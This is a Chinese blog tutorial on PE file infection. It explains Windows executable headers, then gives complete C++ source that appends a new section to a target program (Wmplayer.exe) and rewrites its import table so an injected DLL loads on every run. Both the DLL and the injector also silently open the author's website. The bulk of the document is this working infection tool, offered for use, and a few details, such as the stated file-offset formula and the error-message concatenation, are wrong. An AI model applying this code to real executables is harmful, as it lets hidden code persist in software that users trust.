劫持 PE 文件：新建节表并插入指定 DLL 文件

PE格式简介

PE(Portable Executable)格式，是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。
Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的，当然CPU不一样了，CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。
PE文件使用的是一个平面地址空间，所有代码和数据都合并在一起，组成一个很大的结构。
下面是一个简化的PE文件格式
简化PE文件格式
DOS MZ HeaderPE HeaderSection TableSection 1Section 2...Section nDos Mz head 和Dos stub和称Dos文件头，PE文件的第一个字节起始于MS-DOS头部，被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header)，PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称，其中包含许多PE装载器用到的重要字段。
1、入口点 Entry Point
2、文件偏移地址 File Offset
3、虚拟地址 Virtual Address 简称:VA
4、基地址 ImageBase
5、相对虚拟地址 Relative Virual Address 简称:RVA
公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)
文件偏移地址和虚拟地址转换
在X86系统中，每个内存页的大小是4KB，即0X1000个字节。
文件偏移地址 File Offset = RVA (相对虚拟地址)
文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址)

PE具体结构图

pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。
如下所示(经过简化的，具体的可以查看winnt.h,不同字长的结构，其实大体一样的)。
几个宏定义:
IMAGE_DOS_HEADER

1. typedef struct _IMAGE_DOS_HEADER
3. {
5. WORD e_magic; //魔术数字，所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)
7. WORD e_cblp; //文件最后页的字节数
9. WORD e_cp; //文件页数
11. WORD e_crlc; //重定义元素个数
13. WORD e_cparhdr; //头部尺寸，以段落为单位
15. WORD e_minalloc; //所需的最小附加段
17. WORD e_maxalloc; //所需的最大附加段
19. WORD e_ss; //初始的SS值(相对偏移量)
21. WORD e_sp; //初始的SP值
23. WORD e_csum; //校验和
25. WORD e_ip; //初始的IP值
27. WORD e_cs; //初始的CS值(相对偏移量)
29. WORD e_lfarlc; //重分配表文件地址
31. WORD e_ovno; //覆盖号
33. WORD e_res[4]; //保留字
35. WORD e_oemid; //OEM标识符(相对e_oeminfo)
37. WORD e_oeminfo; //OEM信息
39. WORD e_res2[10]; //保留字
41. DWORD e_lfanew; //新exe头部的文件地址
43. }IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

复制代码

IMAGE_NT_HEADERS

1. #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
3. typedef struct IMAGE_NT_HEADERS
5. {
7. DWORD Signature;
9. IMAGE_FILE_HEADER FileHeader;
11. IMAGE_OPTIONAL_HEADER32 OptionalHeader;
13. }IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;
15. typedef struct IMAGE_FILE_HEADER
17. {
19. WORD Machine;
21. WORD NumberOfSections;//节的数量
23. DWORD TimeDateStamp;
25. DWORD PointerToSymbols;
27. DWORD NumberOfSymbols;
29. WORD SizeOfOptionalHeader;
31. WORD Characteristics;
33. }IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;
35. typedef struct IMAGE_OPTIONAL_HEADER32
37. {
39. WORD Magic;
41. BYTE MajorLinkerVersion;
43. BYTE MinorLinkerVersion;
45. DWORD SizeOfCode;
47. DWORD SizeOfInitializedData;
49. DWORD SizeOfUnInitializedData;
51. DWORD AddressOfEntryPoint;
53. DWORD BaseOfCode;
55. DWORD BaseOfData;
57. DWORD ImgaeBase;
59. DWORD SectionAlignment;
61. DWORD FileAlignment;
63. WORD MajorOperatingSystemVersion;
65. WORD MinorOperatingsystemversion;
67. WORD MajorImageVersion;
69. WORD MinorImageVersion;
71. WORD MajorSubsybtemVersion;
73. WORD MinorSubsybtemVersion;
75. DWORD Win32VersionValue;
77. DWORD SizeOfImage;
79. DWORD SizeoOfHeaders;
81. DWORD CheckSum;
83. WORD Subsystem;
85. WORD DllCharacteristics;
87. DWORD SizeOfStackReserve;
89. DWORD SizeOfStackCommit;
91. DWORD SizeOfHeapReserve;
93. DWORD SizeOfHeapCommit;
95. DWORD LoaderFlages;
97. DWORD NumberOfRvaAndSizes;
99. IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
101. }IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;

复制代码

IMAGE_SECTION_HEADER

1. PE文件头后是节表，在winnt.h下如下定义
3. typedef struct _IMAGE_SECTION_HEADER
5. {
7. //IMAGE_SIZEOF_SHORT_NAME=8
9. BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"
11. union
13. {
15. DWORD PhysicalAddress;//物理地址
17. DWORD VirtualSize;//真实长度，这两个值是一个联合结构，可以使用其中的任何一个，//一般是节的数据大小
19. } Misc;
21. DWORD VirtualAddress;//RVA
23. DWORD SizeOfRawData;//物理长度
25. DWORD PointerToRawData;//节基于文件的偏移量
27. DWORD PointerToRelocations;//重定位的偏移
29. DWORD PointerToLinenumbers;//行号表的偏移
31. WORD NumberOfRelocations;//重定位项数目
33. WORD NumberOfLinenumbers;//行号表的数目
35. DWORD Characteristics;//节属性 如可读，可写，可执行等
37. } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

复制代码

1. typedef struct IMAGE_THUNK_DATA
3. {
5. union
7. {
9. DWORD ForwarderString;
11. DWORD Function;
13. DWORD Ordinal;
15. DWORD AddressOfData;
17. }u1;
19. }IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;
21. typedef struct IMAGE_IMPORT_BY_NAME
23. {
25. WORD Hint;
27. BYTE Name;
29. }IMAGE_IMPORT_BY_NAME;

复制代码

详细PE结构说明请查阅：
PE文件结构详解 --（完整版）

修改 PE 文件 IAT 注入

通过以上的简单了解后，那么我们便进入正题。

1.     下面演示的这种方法其实是 PE 感染的一种，通过对目标程序添加一个新节并注入DLL，然后这会改变 PE 文件的大小，将原有的导入表复制到新节中，并添加自己的导入表描述符，最后将数据目录项中指向的导入表的入口指向新节。
3.     1、在目标 PE 文件中添加一个新节并映射 PE 文件，判断是否可以加一个新节，找到节的尾部，矫正偏移，对齐 RVA 填充新节 PIMAGE_SECTION_HEADER，修改IMAGE_NT_HEADERS，将新节添加到文件尾部。
5.     2、修改导入表：判断是否使用了绑定导入表，往新节中拷贝原导入表内容，继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR，构造IAT结构体 PIMAGE_THUNK_DATA，填充 PIMAGE_THUNK_DATA，将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA，name 指向 DllName，最后修改导入表的 VirtualAddress 指向新节。

复制代码

IDT 结构：

IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table，通过 size 可以确定是否有足够的空间让我们添加。
IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组，数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。

废话不多说……直接上代码。

现实代码

DLL：
点击查看代码

1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
2. #include "stdafx.h"
4. extern "C"
5. {
6.         __declspec(dllexport) int Msg();
7. }
9. __declspec(dllexport) int Msg()
10. {
11.         system("start https://www.chwm.vip/?PEinject_v1.0");
12.         return 0;
13. }
15. DWORD WINAPI Thread(LPVOID LpParameter)
16. {
17.         char szPath[MAX_PATH] = { 0 };
18.         char szBuf[1024] = { 0 };
19.         GetModuleFileName(NULL, szPath, MAX_PATH);
20.         sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());
21.         MessageBox(NULL, szBuf, "DLL Inject", MB_OK);
22.         return 0;
23. }
25. BOOL APIENTRY DllMain( HMODULE hModule,
26.                        DWORD  ul_reason_for_call,
27.                        LPVOID lpReserved
28.                                          )
29. {
30.         switch (ul_reason_for_call)
31.         {
32.         case DLL_PROCESS_ATTACH:
33.                 CreateThread(NULL, 0, Thread, NULL, 0, NULL);
34.         Msg();
35.                 break;
36.         case DLL_THREAD_ATTACH:
37.         case DLL_THREAD_DETACH:
38.         case DLL_PROCESS_DETACH:
39.                 break;
40.         }
41.         return TRUE;
42. }

复制代码

主程序：
点击查看代码

1. // PEinject.cpp : 定义控制台应用程序的入口点。
2. //
4. #include "stdafx.h"
5. #include "PEinject.h"
7. #ifdef _DEBUG
8. #define new DEBUG_NEW
9. #endif
11. #define ERROR_MESSAGE(Msg) cout << Msg << endl;
14. // 唯一的应用程序对象
16. CWinApp theApp;
18. using namespace std;
22. BOOL    AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
23. BOOL    AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
24. BOOL    AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
25. DWORD   RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
26. ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign);
30. BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
31. {
32.         BOOL bOk = false;
33.         try
34.         {
35.                 bOk = AddNewSection(strTargetFile, 256);
36.                 if (!bOk)
37.                 {
38.                         ERROR_MESSAGE("AddImportTable:AddNewSection failed.");
39.                         return false;
40.                 }
42.                 bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);
43.                 if (!bOk)
44.                 {
45.                         ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");
46.                         return false;
47.                 }
48.         }
49.         catch (exception* e)
50.         {
51.                 ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());
52.                 return false;
53.         }
55.         return true;
56. }
58. BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
59. {
60.         BOOL bOk = true;
61.         HANDLE TargetFileHandle = nullptr;
62.         HANDLE MappingHandle = nullptr;
63.         PVOID FileData = nullptr;
65.         try
66.         {
67.                 // 打开文件
68.                 TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
69.                 if (TargetFileHandle == INVALID_HANDLE_VALUE)
70.                 {
71.                         ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());
72.                         bOk = false;
73.                         goto EXIT;
74.                 }
76.                 ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);
78.                 // 映射文件
79.                 MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
80.                 if (MappingHandle == NULL)
81.                 {
82.                         ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());
83.                         bOk = false;
84.                         goto EXIT;
85.                 }
87.                 // 得到缓存头
88.                 FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
89.                 if (FileData == NULL)
90.                 {
91.                         ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());
92.                         bOk = false;
93.                         goto EXIT;
94.                 }
96.                 // 判断是否是PE文件
97.                 if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
98.                 {
99.                         ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
100.                         bOk = false;
101.                         goto EXIT;
102.                 }
104.                 PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
105.                 if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
106.                 {
107.                         ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
108.                         bOk = false;
109.                         goto EXIT;
110.                 }
112.                 // 判断是否可以增加一个新节
113.                 if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/)
114.                 {
115.                         ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");
116.                         bOk = false;
117.                         goto EXIT;
118.                 }
120.                 // 得到新节的起始地址， 最后的起始地址
121.                 PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;
122.                 PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1;
124.                 // 对齐RVA和偏移
125.                 DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);
126.                 DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);
127.                 DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);
128.                 DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);
130.                 // 填充新节表
131.                 memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));
132.                 pNewSectionHeader->VirtualAddress = VirtualOffset;
133.                 pNewSectionHeader->Misc.VirtualSize = VirtualSize;
134.                 pNewSectionHeader->PointerToRawData = FileOffset;
135.                 pNewSectionHeader->SizeOfRawData = FileSize;
136.                 pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
138.                 // 修改IMAGE_NT_HEADERS
139.                 pNtHeaders->FileHeader.NumberOfSections++;
140.                 pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;
141.                 pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;            // 关闭绑定导入
142.                 pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
144.                 // 添加新节到文件尾部
145.                 SetFilePointer(TargetFileHandle, 0, 0, FILE_END);
146.                 PCHAR pNewSectionContent = new CHAR[FileSize];
147.                 RtlZeroMemory(pNewSectionContent, FileSize);
148.                 DWORD dwWrittenLength = 0;
149.                 bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);
150.                 if (bOk == false)
151.                 {
152.                         ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());
153.                         bOk = false;
154.                         goto EXIT;
155.                 }
156.         }
157.         catch (exception* e)
158.         {
159.                 ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());
160.                 bOk = false;
161.         }
162. EXIT:
163.         if (TargetFileHandle != NULL)
164.         {
165.                 CloseHandle(TargetFileHandle);
166.                 TargetFileHandle = nullptr;
167.         }
168.         if (FileData != NULL)
169.         {
170.                 UnmapViewOfFile(FileData);
171.                 FileData = nullptr;
172.         }
173.         if (MappingHandle != NULL)
174.         {
175.                 CloseHandle(MappingHandle);
176.                 MappingHandle = nullptr;
177.         }
179.         return bOk;
180. }
182. ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
183. {
184.         return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign);        //  想 dwAlign 对齐，加上 dwAlign - 1，这样就可以保证对齐后的值 >= dwNumber
185. }
187. BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
188. {
189.         bool bOk = true;
190.         HANDLE TargetFileHandle = nullptr;
191.         HANDLE MappingHandle = nullptr;
192.         PVOID FileData = nullptr;
193.         PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr;
195.         try
196.         {
197.                 // 打开文件
198.                 TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
199.                 if (TargetFileHandle == INVALID_HANDLE_VALUE)
200.                 {
201.                         ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());
202.                         bOk = false;
203.                         goto EXIT;
204.                 }
206.                 ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);
208.                 // 映射文件
209.                 MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
210.                 if (MappingHandle == NULL)
211.                 {
212.                         cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();
213.                         bOk = false;
214.                         goto EXIT;
215.                 }
217.                 // 得到缓存头
218.                 FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
219.                 if (FileData == NULL)
220.                 {
221.                         ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());
222.                         bOk = false;
223.                         goto EXIT;
224.                 }
226.                 // 判断是否是PE文件
227.                 if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
228.                 {
229.                         ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
230.                         bOk = false;
231.                         goto EXIT;
232.                 }
234.                 PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
235.                 if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
236.                 {
237.                         ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
238.                         bOk = false;
239.                         goto EXIT;
240.                 }
242.                 // 得到原导入表
243.                 pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
245.                 // 判断是否使用了绑定导入表
246.                 bool bBoundImport = false;
247.                 if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0)
248.                 {
249.                         // 桥一为0 桥二不是0 说明使用了绑定导入表
250.                         bBoundImport = true;
251.                         pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;    // 关闭绑定导入
252.                         pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
253.                 }
255.                 // 找到自己添加的新节
256.                 PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;
257.                 PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;
258.                 PBYTE pNewImportDescriptor = pNewSectionData;
260.                 // 往新节中拷贝原导入表内容
261.                 int i = 0;
262.                 while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0)
263.                 {
264.                         memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));
265.                         pImportTable++;
266.                         pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
267.                         i++;
268.                 }
270.                 // 复制最后一个描述符
271.                 memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR));
273.                 // 计算修正值
274.                 DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData;
276.                 // pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *
277.                 PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));
278.                 PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);
279.                 memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());
280.                 // 确定 DllName 的位置
281.                 pszDllName[strInjectDllName.length() + 1] = 0;
282.                 // 确定 IMAGE_IMPORT_BY_NAM 的位置
283.                 PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);
284.                 // 初始化 IMAGE_THUNK_DATA
285.                 pNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;
286.                 // 初始化 IMAGE_IMPORT_BY_NAME
287.                 pImportByName->Hint = 1;
288.                 memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());
289.                 pImportByName->Name[strFunctionName.length() + 1] = 0;
290.                 // 初始化 PIMAGE_IMPORT_DESCRIPTOR
291.                 if (bBoundImport)
292.                 {
293.                         ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;
294.                 }
295.                 else
296.                 {
297.                         ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
298.                 }
299.                 ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
300.                 ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;
301.                 // 修改导入表入口
302.                 pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;
303.                 pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);
304.         }
305.         catch (exception* e)
306.         {
307.                 ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());
308.                 bOk = false;
309.         }
311. EXIT:
312.         {
313.                 if (TargetFileHandle != NULL)
314.                 {
315.                         CloseHandle(TargetFileHandle);
316.                         TargetFileHandle = nullptr;
317.                 }
319.                 if (FileData != NULL)
320.                 {
321.                         UnmapViewOfFile(FileData);
322.                         FileData = nullptr;
323.                 }
325.                 if (MappingHandle != NULL)
326.                 {
327.                         CloseHandle(MappingHandle);
328.                         MappingHandle = nullptr;
329.                 }
330.         }
332.         return bOk;
333. }
335. PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
336. {
337.         int i;
338.         PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);
339.         for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++)
340.         {
341.                 if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData)))
342.                 {
343.                         return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));
344.                 }
345.         }
346.         return PIMAGE_SECTION_HEADER(NULL);
347. }
349. DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
350. {
351.         DWORD _offset;
352.         PIMAGE_SECTION_HEADER section;
353.         // 找到偏移所在节
354.         section = GetOwnerSection(pNTHeaders, dwRVA);
355.         if (section == NULL)
356.         {
357.                 return(0);
358.         }
359.         // 修正偏移
360.         _offset = dwRVA + section->PointerToRawData - section->VirtualAddress;
361.         return(_offset);
362. }
364. int main(int argc, char *argv[])
365. {
366.         AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg");
368.     system("start https://www.chwm.vip/?PEinject_v1.0");
370.         system("pause");
372.         return 0;
373. }

复制代码

效果演示

修改前

修改后

运行效果


免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！